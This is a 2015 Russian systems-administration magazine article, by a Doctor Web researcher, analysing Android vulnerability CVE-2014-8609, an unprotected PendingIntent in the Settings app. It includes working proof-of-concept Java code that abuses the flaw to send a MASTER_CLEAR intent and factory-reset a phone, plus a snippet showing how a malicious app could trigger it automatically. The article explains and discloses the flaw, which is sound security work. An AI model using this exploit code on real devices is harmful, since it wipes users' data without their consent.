Разбор уязвимости CVE-2014-8609, или Когда можно будет спать спокойно::Журнал СА 1-2.2015
www.samag.ru
     
Поиск   
              
 www.samag.ru    Web  0 товаров , сумма 0 руб.
E-mail
Пароль  
 Запомнить меня
Регистрация | Забыли пароль?
Журнал "Системный администратор"
Журнал «БИТ»
Подписка
Архив номеров
Где купить
Наука и технологии
Авторам
Рекламодателям
Контакты
   

  Опросы
  Статьи

Дата-центры  

Дата-центры: есть ли опасность утечки данных?

Российские компании уже несколько лет испытывают дефицит вычислительных мощностей. Рост числа проектов,

 Читать далее...

Событие  

В банке рассола ждет сисадмина с полей фрактал-кукумбер

Читайте впечатления о слете ДСА 2024, рассказанные волонтером и участником слета

 Читать далее...

Организация бесперебойной работы  

Бесперебойная работа ИТ-инфраструктуры в режиме 24/7 Как обеспечить ее в нынешних условиях?

Год назад ИТ-компания «Крок» провела исследование «Ключевые тренды сервисного рынка 2023». Результаты

 Читать далее...

Книжная полка  

Читайте и познавайте мир технологий!

Издательство «БХВ» продолжает радовать выпуском интересных и полезных, к тому же прекрасно

 Читать далее...

СУБД PostgreSQL  

СУБД Postgres Pro

Сертификация по новым требованиям ФСТЭК и роль администратора без доступа к данным

 Читать далее...

Критическая инфраструктура  

КИИ для оператора связи. Готовы ли компании к повышению уровня кибербезопасности?

Похоже, что провайдеры и операторы связи начали забывать о требованиях законодательства

 Читать далее...

Архитектура ПО  

Архитектурные метрики. Качество архитектуры и способность системы к эволюционированию

Обычно соответствие программного продукта требованиям мы проверяем через скоуп вполне себе понятных

 Читать далее...

Как хорошо вы это знаете  

Что вам известно о разработках компании ARinteg?

Компания ARinteg (ООО «АРинтег») – системный интегратор на российском рынке ИБ –

 Читать далее...

Графические редакторы  

Рисование абстрактных гор в стиле Paper Cut

Векторный графический редактор Inkscape – яркий представитель той прослойки open source, с

 Читать далее...

День сисадмина  

Учите матчасть! Или как стать системным администратором

Лето – время не только отпусков, но и хорошая возможность определиться с профессией

 Читать далее...

День сисадмина  

Живой айтишник – это всегда движение. Остановка смерти подобна

Наши авторы рассказывают о своем опыте и дают советы начинающим системным администраторам.

 Читать далее...

Виртуализация  

Рынок решений для виртуализации

По данным «Обзора российского рынка инфраструктурного ПО и перспектив его развития», сделанного

 Читать далее...

Книжная полка  

Как стать креативным и востребованным

Издательский дом «Питер» предлагает новинки компьютерной литературы, а также книги по бизнесу

 Читать далее...

Книжная полка  

От создания сайтов до разработки и реализации API

В издательстве «БХВ» недавно вышли книги, которые будут интересны системным администраторам, создателям

 Читать далее...

1001 и 1 книга  
19.03.2018г.
Просмотров: 6224
Комментарии: 0
Машинное обучение с использованием библиотеки Н2О

 Читать далее...

12.03.2018г.
Просмотров: 6931
Комментарии: 0
Особенности киберпреступлений в России: инструменты нападения и защита информации

 Читать далее...

12.03.2018г.
Просмотров: 4212
Комментарии: 0
Глубокое обучение с точки зрения практика

 Читать далее...

12.03.2018г.
Просмотров: 3004
Комментарии: 0
Изучаем pandas

 Читать далее...

12.03.2018г.
Просмотров: 3806
Комментарии: 0
Программирование на языке Rust (Цветное издание)

 Читать далее...

19.12.2017г.
Просмотров: 3818
Комментарии: 0
Глубокое обучение

 Читать далее...

19.12.2017г.
Просмотров: 6315
Комментарии: 0
Анализ социальных медиа на Python

 Читать далее...

19.12.2017г.
Просмотров: 3166
Комментарии: 0
Основы блокчейна

 Читать далее...

19.12.2017г.
Просмотров: 3459
Комментарии: 0
Java 9. Полный обзор нововведений

 Читать далее...

16.02.2017г.
Просмотров: 7275
Комментарии: 0
Опоздавших не бывает, или книга о стеке

 Читать далее...

17.05.2016г.
Просмотров: 10644
Комментарии: 0
Теория вычислений для программистов

 Читать далее...

30.03.2015г.
Просмотров: 12363
Комментарии: 0
От математики к обобщенному программированию

 Читать далее...

18.02.2014г.
Просмотров: 13998
Комментарии: 0
Рецензия на книгу «Читаем Тьюринга»

 Читать далее...

13.02.2014г.
Просмотров: 9122
Комментарии: 0
Читайте, размышляйте, действуйте

 Читать далее...

12.02.2014г.
Просмотров: 7077
Комментарии: 0
Рисуем наши мысли

 Читать далее...

10.02.2014г.
Просмотров: 5386
Комментарии: 3
Страна в цифрах

 Читать далее...

18.12.2013г.
Просмотров: 4613
Комментарии: 0
Большие данные меняют нашу жизнь

 Читать далее...

18.12.2013г.
Просмотров: 3426
Комментарии: 0
Компьютерные технологии – корень зла для точки роста

 Читать далее...

04.12.2013г.
Просмотров: 3153
Комментарии: 0
Паутина в облаках

 Читать далее...

03.12.2013г.
Просмотров: 3399
Комментарии: 0
Рецензия на книгу «MongoDB в действии»

 Читать далее...

02.12.2013г.
Просмотров: 3024
Комментарии: 0
Не думай о минутах свысока

 Читать далее...

Друзья сайта  

 Разбор уязвимости CVE-2014-8609, или Когда можно будет спать спокойно

Архив номеров / 2015 / Выпуск №1-2 (146-147) / Разбор уязвимости CVE-2014-8609, или Когда можно будет спать спокойно

Рубрика: Безопасность /  Угрозы

Александр Свириденко АЛЕКСАНДР СВИРИДЕНКО, программист-исследователь, компания «Доктор Веб»

Разбор уязвимости CVE-2014-8609,
или Когда можно будет спать спокойно

Вредоносные программы – это плата за популярность ОС. Да, конечно, троянцы существуют и для очень редких ОС, но куда проще зарабатывать на распространенных системах, в которых трудится огромное количество непрофессионалов. Многие из них уверены в том, что «уж они-то заметят, когда вирус будет заражать их систему»

Внимание! Информация, приведенная в статье, предоставлена исключительно в целях ознакомления. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный использованием материалов данной статьи.

Создатели ОС и авторы приложений для них уделяют большое внимание проблемам безопасности, а временами даже уверяют, что готовы отдать свою правую руку, если хоть один вирус… Если бы все было так! Уязвимости и социальная инженерия позволяют мошенникам всех мастей не оставаться без куска хлеба. Угрозы социальной инженерии обсуждались неоднократно, поэтому поговорим об открытых дверях и возможности их закрыть.

История CVE-2014-8609

Данная уязвимость была обнаружена в сентябре 2014 года. О ней было сообщено в Android Security Team. Проблема была признана, а соответствующие исправления внесены в основную ветку разработки. Об уязвимости официально объявили в конце ноября 2014 года. Но проблема Android – дефрагментация рынка. В данном случае исправления уязвимости попали в Android 5.0. Что делать тем, кто не может обновиться по каким-либо причинам?

Небольшое введение

В Android существует система SyncAdapter Framework, предназначенная для удобной синхронизации данных между приложениями и сервером. Используя эту систему, приложение может через стандартный механизм создавать аккаунт. Преимущества этого способа:

  • Стандартизация способа авторизации.
  • Поддержка фоновых механизмов вроде SyncAdapter.
  • Возможность использовать один аккаунт для различных приложений, как это делает Google или Yandex (см. рис. 1).

Рисунок 1. Список аккаунтов

Рисунок 1. Список аккаунтов

Для того чтобы программа могла пользоваться преимуществами SyncAdapter Framework, обычно при ее создании:

  • Создают сервис, который мог бы общаться с аккаунтом.
  • Пишут Authenticator.
  • Делают Activity для логина.

Попробуем создать маленькое приложение, которое по минимуму использует фреймворк.

В AndroidManifest.xml добавим код:

<service android:name=".TestService">

<intent-filter>

<action android:name="android.accounts.AccountAuthenticator" />

</intent-filter>

<meta-data android:name="android.accounts.AccountAuthenticator"

android:resource="@xml/authenticator" />

</service>

В ресурсах в папку xml поместим файл authenticator.xml, внутри которого будет:

<?xml version="1.0" encoding="utf-8"?>

<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"

android:accountType="com.test"

android:label="test"

android:icon="@drawable/ic_launcher"

android:smallIcon="@drawable/ic_launcher"/>

Создадим сервис TestService.java, на который ссылались из манифеста:

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

public class TestService extends Service {

@Override

public IBinder onBind(Intent intent) {

TestAuthenticator authenticator = new TestAuthenticator(this);

return authenticator.getIBinder();

}

}

И, наконец, создадим TestAuthenticator.java:

public class TestAuthenticator extends AbstractAccountAuthenticator {

private final Context mContext;

public TestAuthenticator(Context context) {

super(context);

this.mContext = context;

}

@Override

public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {

return null;

}

// плюс еще автоматически создастся несколько функций

// для реализации интерфейса, которые не играют роли

//..

}

Наше маленькое приложение готово. Теперь, если зайти в Настройки и там нажать на «Добавить уч. запись», можно увидеть, что в списке появился еще один пункт. Правда, нажатие на него ни к чему не приводит, так как мы оставили функцию addAccount пустой.

Если открыть исходники Android 4.4 и посмотреть, как в этой версии ОС реализован вызов addAccount для приложений, то в https://android.googlesource.com/platform/packages/apps/Settings/+/android-4.4.4_r2.0.1/src/com/android/settings/accounts/AddAccountSettings.java можно увидеть такой код:

private void addAccount(String accountType) {

Bundle addAccountOptions = new Bundle();

mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);

addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));

AccountManager.get(this).addAccount(

accountType,

null, /* authTokenType */

null, /* requiredFeatures */

addAccountOptions,

null,

mCallback,

null /* handler */);

mAddAccountCalled = true;

}

Видим, что для PendingIntent, который получен через getBroadcast, не заданы component и action. Затем этот PendingIntent помещается в addAccountOptions, который потом будет передан в другие приложения. Если открыть справку дляразработчиков и почитать о PendingIntent, то там будет указано, что так делать небезопасно:

«Передавая другому приложению PendingIntent, вы предоставляете ему права выполнять определенные операции от вашего имени (с вашими разрешениями и идентификацией). Поэтому следует обращать внимание на то, как создается PendingIntent: например, почти всегда базовый класс Intent, который вы поддерживаете, должен иметь точно такое же имя компонента, как и один из ваших компонентов, чтобы убедиться, что оно в конечном итоге отправлено туда, а некуда-либо еще».

Написанное означает, что PendingIntent, отправленный приложением Settings, обладает теми же правами, что и оно, – правами системного приложения!

Так как у PendingIntent поля component и action пустые, то можно их заполнить. Попробуем это использовать и в наш метод addAccount класса TestAuthenticator.java поместим следующий код:

PendingIntent pendingIntent = (PendingIntent) options.getParcelable("pendingIntent");

Intent newIntent = new Intent("android.intent.action.MASTER_CLEAR");

try {

pendingIntent.send(mContext, 0, newIntent, null, null);

} catch (CanceledException e) {

e.printStackTrace();

}

Теперь, если выбрать добавление нашего аккаунта, произойдет полный сброс телефона! С него удалятся все данные, хотя наше приложение не имело нужных прав для этого!!!

Если бы мы писали вредоносное приложение, то нам достаточно было бы сделать вызов:

Intent intent = new Intent();

intent.setComponent(new ComponentName("com.android.settings","com.android.settings.accounts.AddAccountSettings"));

intent.setAction(Intent.ACTION_RUN);

intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

String authTypes[] = {"com.test"};

intent.putExtra("account_types", authTypes);

startActivity(intent);

что приводило бы к автоматическому открытию добавления нашего аккаунта и, соответственно, удалению всех данных.

Давайте вернемся к уязвимости. Через CVE-2014-8609 можно выполнять самые разные действия, которые по идее доступны только системным приложениям. Например, генерировать фейковые СМС, выполнять явно мошеннические действия.

Формально уязвимость CVE-2014-8609 уже закрыта, но если посмотреть на статистику использования Android (https://developer.android.com/intl/ru/about/dashboards/index.html?utm_source=ausdroid.net), то видно, что уязвимости подвержено без мелочи 100% устройств, и они останутся подвержены уязвимости еще долгое время. Вряд ли пользователи будут массово мигрировать на 5.0 только из-за уязвимостей.

***

Имеющиеся исследования показывают, что магазины приложений переполнены приложениями от злоумышленников. И даже если вы внимательный пользователь, чтение прав приложения при установке ничего не гарантирует, поэтому обязательным приложением на любом устройстве становятся антивирус и сканер уязвимостей.


Комментарии отсутствуют

Добавить комментарий

Комментарии могут оставлять только зарегистрированные пользователи

               Copyright © Системный администратор

Яндекс.Метрика
Tel.: (499) 277-12-45
E-mail: sa@samag.ru